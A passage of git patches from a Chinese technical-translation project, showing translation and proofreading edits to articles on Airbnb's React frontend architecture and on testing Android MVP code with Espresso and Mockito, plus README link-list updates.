-  // should resolve to a renderable React component.
+  // 注意 loader 是返回一个 promise 的函数。
+  // 这个 promise 应该处理一个可渲染的组件。
   loader: PropTypes.func.isRequired,
   placeholderHeight: PropTypes.number,
   renderPlaceholder: PropTypes.func,
 };
 ```
 
-This is particularly useful for heavy elements that aren’t initially visible, like Modals and Panels. Our explicit goal is to ship precisely the JavaScript required to initially render the visible portion of the page and make it interactive, not one line more. This has also meant that if, for example, teams want to use D3 for a chart in a modal on a page that doesn’t otherwise use D3, they can weigh the “cost” of downloading that library as part of their modal code in isolation from the rest of the page.
+这对于最初不可见的重量级元素尤其有用，比如 Modals 和 Panels。我们的明确目标是精确地提供初始化页面可见部分所需的 所需的 JavaScript，并使其可交互，而不只一行。这也意味着如果，比方说团队想使用 D3 用于页面弹窗的一个图表，而其他部分不使用 D3，这时候他们就可以权衡一下下载仓库的代码，可以把他们的弹窗代码和其他代码隔离出来。
 
-Best of all, it is this simple to use anywhere it is needed:
+最重要的是，它可以简单地在任何需要的地方使用：
 
 ```
 import React from 'react';
@@ -268,15 +269,16 @@ export default function MapAsync(props) {
 view raw
 ```
 
-Here we can simply swap out the synchronous version of our map for an async version, which is particularly useful on small breakpoint, where the map is displayed via user interaction with a button. Since most of these users are on phones, getting them to interactive before worrying about Google Maps comes with a tasty boost in page load time.
+这里我们可以简单地把我们的同步版本的地图换成异步版本，这在小断点上特别有用，用户通过点击按钮显示地图。考虑到大多数用户用手机，在担心 Google 地图之前，让他们进入互动这样会缩短加载时的焦虑感。
+
 
-Also, note the `scheduleAsyncLoad()` utility, which requests the bundle in advance of user interaction. Since the map is so frequently used, we don’t need to wait for user interaction to request it. Instead, we can enqueue it when you get to the Homes Search route. If the user does request it prior to download, they see a reasonable `<Loader />` until the component is available. No sweat.
+另外，注意 `scheduleAsyncLoad()` 的效率，在用户交互之前就要请求包。考虑到地图如此频繁的使用，我们不需要等待用户交互就去请求它。而是在用户进入主页和搜索页的时候就把它加入队列，如果用户在下载完成之前就请求了它，他们会看到一个 `<Loader />` 直到组件可用。没毛病。
 
-The final benefit of this approach is that `HomesSearch_Map` becomes a named bundle that the browser can cache. As we disaggregate larger route-based bundles, the slowly-changing sections of the app remain untouched across updates, further saving JavaScript download time.
+这种方法的最后一个好处是 `HomesSearch_Map` 成为浏览器可以缓存的命名包。当我们分解较大的基于路由的捆绑包时，应用程序中 slowly-changing 的部分在更新时保持不变，从而进一步节省了 JavaScript 下载时间。
 
-#### Building Accessibility into our Design Language ####
+#### 构建无障碍的设计语言 ####
 
-Doubtless it warrants a dedicated post, but we have begun building our internal component library with Accessibility enforced as a hard constraint. In the coming months, we will have replaced all UI across the guest flow that is incompatible with screen readers.
+毫无疑问，它保证的是一个专有的需求，但是我们已经开始构建内部组件库，其中辅助功能被强制为一个严格的约束。在接下来的几个月中，我们将替换所有与屏幕阅读器不兼容的 UI。
 
 ```
 import React, { PropTypes } from 'react';
@@ -363,27 +365,27 @@ RoomTypeFilter.propTypes = propTypes;
 RoomTypeFilter.defaultProps = defaultProps;
 ```
 
-An example of building accessibility into our product through our design language system
+通过我们的设计语言系统加入的无障碍设计到产品的例子
 
-The UI is rich enough that we want to associate a CheckBox not only with a title, but also a subtitle using `aria-describedby`. To achieve this requires a unique identifier in the DOM, which means enforcing a required ID as a prop that any calling parents need to provide. These are the types of hard constraints the UI can impose to ensure that if a component is used in the product, it is delivered with accessibility built in.
+这个 UI 非常丰富，我们希望将 CheckBox 不仅与 title 相关联，还可以使用 `aria-describedby` 与 subtitle 关联。为了实现这一点，需要 DOM 中唯一的标识符，这意味着强制关联一个必须的 ID 作为任何调用方需要提供的属性。如果一个组件被用于生产，这些是 UI 是可以强制约束类型的，它提供内置的可访问性。
 
-The code above also demonstrates our responsive utilities HideAt and ShowAt, which allow us to dramatically alter what the user experiences at different screen sizes without having to hide and show using CSS. This leads to much leaner pages.
+上面的代码也演示了我们的响应式实体 HideAt 和 ShowAt，它使我们能够大幅度地改变用户在不同屏幕尺寸下的体验，而无需使用 CSS 控制隐藏和显示。这造就了更精简的页面。
 
-#### Getting Surgical and Philosophical about State ####
+#### 关于状态的“外科”和“哲学” ####
 
-No Frontend post would be complete without touching on the debate about how to handle app state.
+不涉及关于如何处理应用程序状态的争论的前端文章不是完整的前端文章。
 
-We use Redux for all API data and “globals” like authentication state and experiment configurations. Personally, I like [redux-pack](https://github.com/lelandrichardson/redux-pack) for async. Your mileage may vary.
+我们使用 Redux 来处理所有的 API 数据和“全局”数据比如认证状态和体验配置。个人来讲我喜欢 [redux-pack](https://github.com/lelandrichardson/redux-pack) 处理异步，你会发现新大陆。
 
-However, with all the complexity on the page—particularly around Search—it doesn’t work to use Redux for low-level user interactions like form elements. We found that no matter how we optimized, the Redux loop was going to make typing in inputs feel inadequately responsive.
+然而，当遇到页面上所有的复杂性——特别是围绕搜索的——对于一些像表单元素这样低级的用户交互使用 redux 就没那么好用了。我们发现无论如何优化，Redux 循环依然会造成输入体验的卡顿。
 
 ![](https://cdn-images-1.medium.com/max/600/1*12LgecpKz8HA2e2evkYacw.png)
 
-Our Room Type Filter (code featured above)
+我们的房间类型筛选器 (代码在上面)
 
-So we use component local state for everything the user does up until it triggers a route changes or a network interaction, and we haven’t had any problems.
+所以对于用户的所有操作我们使用组件的本地状态，除非触发路由变化或者网络请求才是用 Redux，并且我们没再遇到什么麻烦。
 
-At the same time, I like the feel of a Redux container component, and we found that even with local state, we could build Higher Order Components that could be shared. A great example is with our filters. Search for [homes in Detroit](https://www.airbnb.com/s/Detroit--MI--United-States/homes), and you’ll find a few different panels on the page, each operating independently, that can modify your search. Across various breakpoints, there are actually dozens of components that need to know the currently-applied search filters and how to update them, both temporarily during user interaction and officially once accepted by the user.
+同时，我喜欢 Redux container 组件的那种感觉，并且我们即使带有本地状态，我们依然可以构建可以共享的高阶组件。一个伟大的例子就是我们的筛选功能。搜索[在底特律的家](https://www.airbnb.com/s/Detroit--MI--United-States/homes)，你会在页面上看见几个不同的面板，每一个都可以独立操作，你可以更改你的搜索条件。在不同的断点之间，实际上有几十个组件需要知道当前应用的搜索过滤器以及如何更新它们，在用户交互期间被暂时或z正式地被用户接受。
 
 ```
 import React, { PropTypes } from 'react';
@@ -480,24 +482,24 @@ export default function withFilters(WrappedComponent) {
 }
 ```
 
-Here we have a neat trick. Every component that needs to interact with filters can be wrapped with this HOC, and you’re done. It even comes with prop types. Each component wires into the *responseFilters* (those associated with the currently-displayed results) from Redux but keeps a local stagedFilters object available for modification.
+这里我们有一个利落的技巧。每一个需要和筛选交互的组件只需被 HOC 包裹起来，你就能做到了。它甚至还有属性类型。每个组件都通过 Redux 连接到**responseFilters**（与当前显示的结果相关联的那些）,并同时保有一个本地 stagedFilters 状态对象用于更改。
 
-By tackling state this way, interacting with our Price Slider has no impact on the rest of the page, so performance is great. But all filters panels are implemented with the same function signatures, so development is simple.
+通过以这种方式处理状态，与我们的价格滑块进行交互对页面的其余部分没有影响，所以表现很好。而且但所有过滤器面板都具有相同的功能签名，因此开发也很简单。
 
-### What’s Next? ###
+### 未来做些什么? ###
 
-Now that the grizzly legwork of catching the Frontend up with the present is largely in hand, we can turn our attention to the future.
+既然现在已经良策在手，我们可以把目光转向未来。
 
-- [AMP](https://www.ampproject.org/) versions of all pages in the core booking flow will lead to sub-second (in some cases) *Time To Interactive* from Google search on mobile web, and many of the the changes required to get there will drive dramatic improvements in P50/P90/P95 cold load times across mobile web and desktop web alike.
-- [PWA](https://developers.google.com/web/progressive-web-apps/) functionality will lead to sub-second (in some cases) *Time To Interactive* for returning visitors and will open the door to offline-first functionality so very critical to users with flaky connections.
-- Dropping the final hammer on legacy tech/frameworks will cut bundle sizes in half. It’s not flashy work, but finally ripping out jQuery, Alt, Bootstrap, Underscore, and all external CSS requests (they block rendering, and 97% of the rules are unused!) will streamline not only the code we ship, but also the footprint of what new hires need to learn as they ramp up.
-- Finally, the yeoman’s work of manually bird-dogging rendering bottlenecks, async-loading code not visible at initial render, avoiding unnecessary re-renders, and reducing the cost of re-renders. These improvements are the difference between a clunky feeling app and a well-oiled machine.
+- [AMP](https://www.ampproject.org/) 核心预订流程中的所有页面的 AMP 版本将会实现亚秒级（某些情况下）在手机 web 上 Google 搜索的 **可交互时间**，通过移动网络和桌面网络，所需的许多更改将在 P50 / P90 / P95 冷负载时间内实现显着改善。
+- [PWA](https://developers.google.com/web/progressive-web-apps/) 功能将实现亚秒级（在某些情况下）返回访客的**可交互时间**，并将打开离线优先功能的大门，因此对于具有脆弱网络连接的用户非常关键。
+- 将最终的锤子应用到传统的技术/框架上将会将包大小减少一半。这不是华而不实的工作，我们最终翻出 jQuery、Alt、Bootstrap、Underscore 以及所有额外的 CSS 请求（他们使渲染停滞，并且将近 97% 的规则是不会被使用！）不仅精简了我们的代码，还精简了新员工在上升时需要学习的足迹。
+- 最后，yeoman 的手动捕捉瓶颈的工作、异步加载代码在初始渲染时不可见、避免不必要的重新渲染、并降低重新渲染的成本，这些改进正是拖拉机和顶级跑车之间的区别。
 
-Tune in next time as we chase down these opportunities. Since so many of the wins will have immediate quantitative impact, we will try to capture some of the specific wins in subsequent posts.
+下次请收听我们将追逐的这些机会的成果。因为这么多的成果会有一些数量上的冲突，我们将尽量选择一些具体的成果在下篇文章中总结。
 
-*Naturally, if you enjoyed reading this and thought this was an interesting challenge, we are always looking for talented, curious people to [join the team](https://www.airbnb.com/careers/departments/engineering) . Or, if you just want to talk shop, hit me up on twitter any time [@adamrneary](https://twitter.com/AdamRNeary)*
+**自然，如果你欣赏本文并觉得这是一个有趣的挑战，我们一直在寻找优秀出色的人[加入团队](https://www.airbnb.com/careers/departments/engineering)。如果你只想做一些交流，那么随时可以点击我的 twitter [@adamrneary](https://twitter.com/AdamRNeary)。**
 
-Finally, huge props to [Salih Abdul-Karim](https://twitter.com/therealsalih) and [Hugo Ahlberg](https://twitter.com/hugoahlberg) , the experience designers behind the face-melting animations I still can’t stop ogling. The list of many engineers deserving kudos for their role in this effort is indescribably long but most certainly includes Nick Sorrentino, [Joe Lencioni](https://medium.com/@lencioni) , [Michael Landau](https://medium.com/@mikeland86), Jack Zhang, Walker Henderson, and Nico Moschopoulos.
+最后，深切地向 [Salih Abdul-Karim](https://twitter.com/therealsalih) 和 [Hugo Ahlberg](https://twitter.com/hugoahlberg) 两位体验设计师致敬，他们的令人动容的动画至今让我目不转睛。许多工程师在他们的领域值得赞美，作出努力人的名单难以一一列出的，但绝对包括 Nick Sorrentino、[Joe Lencioni](https://medium.com/@lencioni)、[Michael Landau](https://medium.com/@mikeland86)、Jack Zhang、Walker Henderson 和 Nico Moschopoulos.
 
 ---
 

From 3c8dc7103b56182e7447f6d0c975bd4cc2a97167 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E7=8E=8B=E6=96=87=E6=98=8E?= <wangwenming@chemanman.com>
Date: Mon, 22 May 2017 21:23:02 +0800
Subject: [PATCH 509/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../testing-mvp-using-espresso-and-mockito.md | 72 +++++++++----------
 1 file changed, 36 insertions(+), 36 deletions(-)

diff --git a/TODO/testing-mvp-using-espresso-and-mockito.md b/TODO/testing-mvp-using-espresso-and-mockito.md
index c02d103924d..6942d6177ca 100644
--- a/TODO/testing-mvp-using-espresso-and-mockito.md
+++ b/TODO/testing-mvp-using-espresso-and-mockito.md
@@ -1,14 +1,14 @@
 > * 原文地址：[TESTING MVP USING ESPRESSO AND MOCKITO](https://josiassena.com/testing-mvp-using-espresso-and-mockito/)
 > * 原文作者：[Josias Sena](https://josiassena.com/about-me/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[skyar2009](https://github.com/skyar2009)
+> * 校对者：[lovexiaov](https://github.com/lovexiaov), [GangsterHyj](https://github.com/GangsterHyj)
 
 # 使用 Espresso 和 Mockito 测试 MVP #
 
-作为软件开发者，我们尽最大努力做正确的事情确保我们并非无能，并且让其他同事以及领导信任我们所写的代码。我们遵守最好的变成习惯、使用好的架构模型，但是有时发现要确切的测试我们所写的代码很难。
+作为软件开发者，我们尽最大努力做正确的事情确保我们并非无能，并且让其他同事以及领导信任我们所写的代码。我们遵守最好的编程习惯、使用好的架构模式，但是有时发现要确切的测试我们所写的代码很难。
 
-就个人而言，我发现一些开源项目的开发者非常善于打造令人惊叹的产品（可以打造任何你可以想象的应用），但是由于某些原因缺乏编写正确测试的能力，如果有的话。
+就个人而言，我发现一些开源项目的开发者非常善于打造令人惊叹的产品（可以打造任何你可以想象的应用），但是由于某些原因缺乏编写正确测试的能力，甚至一点都没有。
 
 本文是关于如何对广泛应用的 MVP 架构模型进行单元测试的简单教程。
 
@@ -26,7 +26,7 @@
 
 ![724E8fE.png](https://i2.wp.com/www.andevcon.com/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/724E8fE.png)
 
-为了本文价值，我们假设这是一个价值数百万的产品，并且它现在的样子将会持续很长时间。如果一旦发生变化，我们需要立刻知晓。
+出于文章的需要，我们假设这是一个价值数百万的产品，并且它现在的样子将会持续很长时间。一旦发生变化，我们需要立刻知晓。
 
 应用中有三部分内容：一个有应用名的蓝色工具栏，一个显示 “Hello World” 的 TextView，以及一个控制 TextView 显隐的按钮。
 
@@ -40,7 +40,7 @@
 
 如下是测试 ToolBar 的完整代码。如果你看不懂这到底是什么鬼，也没关系，后面我们一起过一下。
 
-```
+``` java
 @RunWith (AndroidJUnit4.class)
 public class MainActivityTest {
  
@@ -76,11 +76,11 @@ public class MainActivityTest {
 }
 ``` 
 
-首先，我们需要告诉 JUnit 我们进行测试的类型。具体内容对应第一行内容 (@RunWith (AndroidJUnit4.class))。它这样声明，“嘿，听着，我将在真机上使用 JUnit4 进行 Android 测试”。
+首先，我们需要告诉 JUnit 所执行测试的类型。对应于第一行代码（@runwith (AndroidJUnit4.class)）。它这样声明，“嘿，听着，我将在真机上使用 JUnit4 进行 Android 测试”。
 
-那么 Android 测试到底是什么呢？Android 测试是在 Android 设备上而非电脑上的 [Java 虚拟机 (JVM)](https://en.wikipedia.org/wiki/Java_virtual_machine) 的测试。这就意味着 Android 设备需要连接到电脑以便运行测试。这就使得测试可以访问 Android 框架功能性 APIs。
+那么 Android 测试到底是什么呢？Android 测试是在 Android 设备上而非电脑上的 [Java 虚拟机 (JVM)](https://en.wikipedia.org/wiki/Java_virtual_machine) 的测试。这就意味着 Android 设备需要连接到电脑以便运行测试。这就使得测试可以访问 Android 框架功能性 API。
 
-测试代码存放位置为 androidTest 目录。
+测试代码存放在 androidTest 目录。
 
 ![android_test_directory](https://i0.wp.com/www.andevcon.com/hs-fs/hubfs/EVENTS_ASSETS/ANDEVCON/Images/Article_Images/MVP%20Mockito/gcpEaEX.png?w=442)
 
@@ -94,33 +94,33 @@ public class MainActivityTest {
 
 ### **测试 toolbar** ###
 
-```    
+``` java    
 onView(withId(R.id.toolbar)).check(matches(isDisplayed()));
 ```
 
 这段测试代码是找到 ID 为 “R.id.toolbar” 的 view，然后检查它的可见性。如果本行代码执行失败，测试会立刻结束并不会进行其余的测试。
 
-```    
+``` java    
 onView(withText(R.string.app_name)).check(matches(withParent(withId(R.id.toolbar))));
 ```
 
-这行是说，“嘿，让我们看看是 R.id.toolbar 的孩子是否文本和 ‘R.string.app_name’ 相同的”。
+这行是说，“嘿，让我们看看是否有文本内容为 R.string.app_name 的 textView ，并且看看它的父 View 的 id 是否为 R.id.toolbar”。
 
 最后一行的测试更有趣一些。它是要确认 toolbar 的背景色是否和应用的首要颜色一致。
 
-```
+``` java
 onView(withId(R.id.toolbar)).check(matches(withToolbarBackGroundColor()));
 ```
 
-Espresso 默认是不支持简单直接的方式进行类似测试，因此我们需要创建 [Matcher](https://developer.android.com/reference/android/support/test/espresso/matcher/package-summary.html)。Matcher 确切的说是我们前面使用的判断 view 属性是否与预期一致的工具。这里，我们需要匹配首要颜色是否与 toolbar 背景一致。
+Espresso 没有提供直接的方式来做此校验，因此我们需要创建 [Matcher](https://developer.android.com/reference/android/support/test/espresso/matcher/package-summary.html)。Matcher 确切的说是我们前面使用的判断 view 属性是否与预期一致的工具。这里，我们需要匹配首要颜色是否与 toolbar 背景一致。
 
-我们需要创建一个 [Matcher](https://developer.android.com/reference/android/support/test/espresso/matcher/BoundedMatcher.html) 并覆盖 matchesSafely() 方法。该方法里面的代码十分易懂。首先我们获取 toolbar 背景色，然后将至与应用首要颜色对比。如果相等，返回 true 否则返回 false。
+我们需要创建一个 [Matcher](https://developer.android.com/reference/android/support/test/espresso/matcher/BoundedMatcher.html) 并覆盖 matchesSafely() 方法。该方法里面的代码十分易懂。首先我们获取 toolbar 背景色，然后与应用首要颜色对比。如果相等，返回 true 否则返回 false。
 
 ### **测试 TextView 的隐藏/显示** ###
 
 在讲代码之前，我需要说下代码有点长，但是十分易读。我对代码内容作了详细注释。
 
-```
+``` java
 
 @RunWith (AndroidJUnit4.class)
 public class MainActivityTest {
@@ -167,15 +167,15 @@ public class MainActivityTest {
 }
 ```
 
-这段代码的主旨是确认应用打开时，ID 为 “R.id.tv_to_show_hide” 的 TextView 处于显示状态，并且其显示内容为 “Hello World!”
+这段代码主要功能是保证应用打开时，ID 为 “R.id.tv_to_show_hide” 的 TextView 处于显示状态，并且其显示内容为 “Hello World!”
 
-然后检查按钮也是显示状态，并且其文案显示为 “Hide”。
+然后检查按钮也是显示状态，并且其文案（默认）显示为 “Hide”。
 
 接着点击按钮。点击按钮十分简单，如何实现的也十分易懂。这里我们对找到相应 ID 的 view 执行 .perform() (而非 “.check”)，并且在其内执行 click() 方法。perform() 方法实际是执行传入的操作。这里对应是 click() 操作。
 
-因为点击了 “Hide” 按钮，我们需要验证 TextView 是否真的隐藏了。具体做法是在 diDisplayed() 方法前置一个 “not()”，并且按钮文案变为 “Show”。其实这就和 java 中的 “!=” 操作符一样。
+因为点击了 “Hide” 按钮，我们需要验证 TextView 是否真的隐藏了。具体做法是在 disDisplayed() 方法前置一个 “not()”，并且按钮文案变为 “Show”。其实这就和 java 中的 “!=” 操作符一样。
 
-```
+``` java
 
 
 @RunWith (AndroidJUnit4.class)
@@ -206,7 +206,7 @@ public class MainActivityTest {
 
 如下是全部的 UI 测试代码：
 
-```
+``` java
 
 @RunWith (AndroidJUnit4.class)
 public class MainActivityTest {
@@ -277,7 +277,7 @@ public class MainActivityTest {
 
 ## **单元测试** ##
 
-单元测试最大特点是在本机的 JVM 环境上运行（与 Android 测试不同）。无需连接设备，测试跑的也更快。缺点就是无法访问 Android 框架 API。总之进行 UI 之外的测试时，尽量使用单元测试而非 Android/Instrumentation 测试。测试内容运行的越快越好。
+单元测试最大特点是在本机的 JVM 环境上运行（与 Android 测试不同）。无需连接设备，测试跑的也更快。缺点就是无法访问 Android 框架 API。总之进行 UI 之外的测试时，尽量使用单元测试而非 Android/Instrumentation 测试。测试运行的越快越好。
 
 下面我们看下单元测试的目录。单元测试的位置与 Android 测试不同。
 
@@ -287,7 +287,7 @@ public class MainActivityTest {
 
 ### **首先看下 presenter** ###
 
-```
+``` java
 
 public class MainPresenterImpl extends MvpBasePresenter implements MainPresenter {
  
@@ -316,11 +316,11 @@ public class MainPresenterImpl extends MvpBasePresenter implements MainPresenter
 
 很简单。两个方法：一个检查 view 是否可见。如果可见就隐藏它，反之显示。之后将按钮的文案改为 “Hide” 或 “Show”。
 
-reverseViewVisibility() 方法调用 “model” 对传入的 view 进行相对的可见性设置。
+reverseViewVisibility() 方法调用 “model” 对传入的 view 进行可见性设置。
 
 ### **下面看下 model** ###
 
-```
+``` java
 public final class Utils {
 
     // ...
@@ -342,15 +342,15 @@ public final class Utils {
 
 现在我们对 presenter 和 model 都有所了解了，下面我们开始测试。毕竟这是一个数百万的产品，我们不能有任何错误。
 
-我们首先测试 presenter。当涉及 presenter （任何 presenter）我们需要确保 view 已与之关联。注意：我们并不测试 view。我们只需要确保 view 的绑定以便确认是否在正确的时间调用了正确的 view 方法。记住，这很重要。
+我们首先测试 presenter。当使用 presenter （任何 presenter）时，我们需要确保 view 已与之关联。注意：我们并不测试 view。我们只需要确保 view 的绑定以便确认是否在正确的时间调用了正确的 view 方法。记住，这很重要。
 
 这里我们使用 Mockito 进行测试，就像单元测试那样，我们需要告诉 Android，“嘿，我们需要使用 MockitoJUnitRunner 进行测试。”实际操作时在测试类的顶部添加 @RunWith (MockitoJUnitRunner.class) 即可。
 
 从前面可知我们需要两个东西：一是模拟一个 View （因为 presenter 使用了 View 对象，对其进行显隐控制），另外一个是 presenter。
 
-下面是使用 Mockito 的模拟
+下面展示了如何使用 Mockito 进行模拟
 
-```
+``` java
 @RunWith (MockitoJUnitRunner.class)
 public class MainPresenterImplTest {
  
@@ -366,9 +366,9 @@ public class MainPresenterImplTest {
 }
 ```
 
-我们要写的第一个测试是 “testReverseViewVisibilityFromVisibleToGone”。顾名思义，我们验证的是当 view 可见时，调用 presenter 的 reverseViewVisibility() 方法结果正确。
+我们要写的第一个测试是 “testReverseViewVisibilityFromVisibleToGone”。顾名思义，我们将要验证的是，当可见的 View 被传入 presenter 的 reverseViewVisibility() 方法时，presenter 能正确地设置 View 的可见性。
 
-```
+``` java
    @Test
     public void testReverseViewVisibilityFromVisibleToGone() throws Exception {
         final View view = Mockito.mock(View.class);
@@ -381,13 +381,13 @@ public class MainPresenterImplTest {
     }
 ```
 
-我们一起看下，这里具体做了什么？由于我们要测试的是 view 从可见到不可见的操作，我们需要 view 一开始是可见的，因此我们希望一开始调用 view 的 isShown() 方法返回是 true。接着，以模拟的 view 作为入参调用 presenter 的 reverseViewVisibility() 方法。现在我们需要确认 view 最近被调用的方法是 setVisibility()，并且设置为 GONE。然后，我们需要确认 presenter view 的 setButtonText() 方法是否调用。并不难吧？
+我们一起看下，这里具体做了什么？由于我们要测试的是 view 从可见到不可见的操作，我们需要 view 一开始是可见的，因此我们希望一开始调用 view 的 isShown() 方法返回是 true。接着，以模拟的 view 作为入参调用 presenter 的 reverseViewVisibility() 方法。现在我们需要确认 view 最近被调用的方法是 setVisibility()，并且设置为 GONE。然后，我们需要确认与 presenter 绑定的 view 的 setButtonText() 方法是否调用。并不难吧？
 
 嗯，接着我们进行相反的测试。在继续阅读下面的代码之前，试着自己想一下怎么做。如何测试从隐藏到显示的情况？根据上面已知的信息思考一下。
 
 代码实现如下：
 
-```
+``` java
     @Test
     public void testReverseViewVisibilityFromGoneToVisible() throws Exception {
         final View view = Mockito.mock(View.class);
@@ -403,7 +403,7 @@ public class MainPresenterImplTest {
 
 接着测试 “Model”。和前面一样，我们首先在类顶部添加注解 @RunWith (MockitoJUnitRunner.class) 。
 
-``` 
+``` java 
 @RunWith(MockitoJUnitRunner.class)
 
 publicclassUtilsTest{
@@ -418,7 +418,7 @@ publicclassUtilsTest{
 
 Utils 类的测试十分简单，因此我不再逐行解释，大家直接看代码即可。
 
-```
+``` java
 @RunWith (MockitoJUnitRunner.class)
 public class UtilsTest {
 
@@ -457,7 +457,7 @@ public class UtilsTest {
 
 我们看下 Utils 的 showView() 方法。如果不做 null 检查，当 view 为 null 时应用会抛出 NullPointerException 并崩溃。
 
-```
+``` java
 public final class Utils {
 
     // ...
@@ -474,7 +474,7 @@ public final class Utils {
 
 另外一些情况下，我们需要应用抛出一个异常。我们如何测试一个异常？十分简单：只需要对 @Test 注解传递一个 expected 参数进行指定：
 
-```
+``` java
 @RunWith (MockitoJUnitRunner.class)
 public class UtilsTest {
 

From a5a572d8f43ee6a7e2de26c9d8bf836931fba242 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 22 May 2017 22:51:18 +0800
Subject: [PATCH 510/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 36cec87b238..970aaa493e9 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [500](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [501](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -24,10 +24,10 @@
 
 ## Android
 
+* [如何创建 BubblePicker – Android 多彩菜单动画](https://juejin.im/post/591e734d2f301e006bea5243?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([hackerkevin](https://github.com/hackerkevin) 翻译)
 * [通过测试来解耦Activity](https://juejin.im/post/59143d7c8d6d81005854d982?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)
 * [函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 - 响应式编程 ［Android RxJava 2］（这到底是什么）第三部分](https://juejin.im/entry/591298eea0bb9f0058b35c7f/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([XHShirley](https://github.com/XHShirley) 翻译)
 * [开发者（也就是我）与Rx Observable 类的对话 [ Android RxJava2 ] ( 这到底是什么？) 第五部分](https://juejin.im/post/590ab4f7128fe10058f35119/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit) 翻译)
-* [使用 Espresso 隔离测试视图](https://juejin.im/post/59088d650ce463006182a07/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([yazhi1992](https://github.com/yazhi1992) 翻译)
 * [所有 Android 译文>>](https://github.com/xitu/gold-miner/blob/master/android.md)
 
 

From 2e1f422cb0eee7695cc34cee95edd5c38a894cbe Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 22 May 2017 22:53:07 +0800
Subject: [PATCH 511/638] Update android.md

---
 android.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/android.md b/android.md
index bdf906053a1..9cce5f64446 100644
--- a/android.md
+++ b/android.md
@@ -1,3 +1,4 @@
+* [如何创建 BubblePicker – Android 多彩菜单动画](https://juejin.im/post/591e734d2f301e006bea5243?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([hackerkevin](https://github.com/hackerkevin) 翻译)
 * [通过测试来解耦Activity](https://juejin.im/post/59143d7c8d6d81005854d982?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)
 * [函数式接口、默认方法、纯函数、函数的副作用、高阶函数、可变的和不可变的、函数式编程和 Lambda 表达式 - 响应式编程 ［Android RxJava 2］（这到底是什么）第三部分](https://juejin.im/entry/591298eea0bb9f0058b35c7f/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([XHShirley](https://github.com/XHShirley) 翻译)
 * [开发者（也就是我）与Rx Observable 类的对话 [ Android RxJava2 ] ( 这到底是什么？) 第五部分](https://juejin.im/post/590ab4f7128fe10058f35119/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([stormrabbit](https://github.com/stormrabbit) 翻译)

From cb917870296215a03f75b4b5093b7ffa913089ea Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Mon, 22 May 2017 23:32:00 +0800
Subject: [PATCH 512/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 970aaa493e9..1771d54dcd3 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [501](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [502](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南
 
@@ -76,10 +76,10 @@
 
 ## 设计
 
+* [最激动人心的视觉系统其实是最枯燥乏味的](https://juejin.im/entry/59228e15a0bb9f005f60915a?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Nicolas(Yifei) Li](https://github.com/yifili09) 翻译)
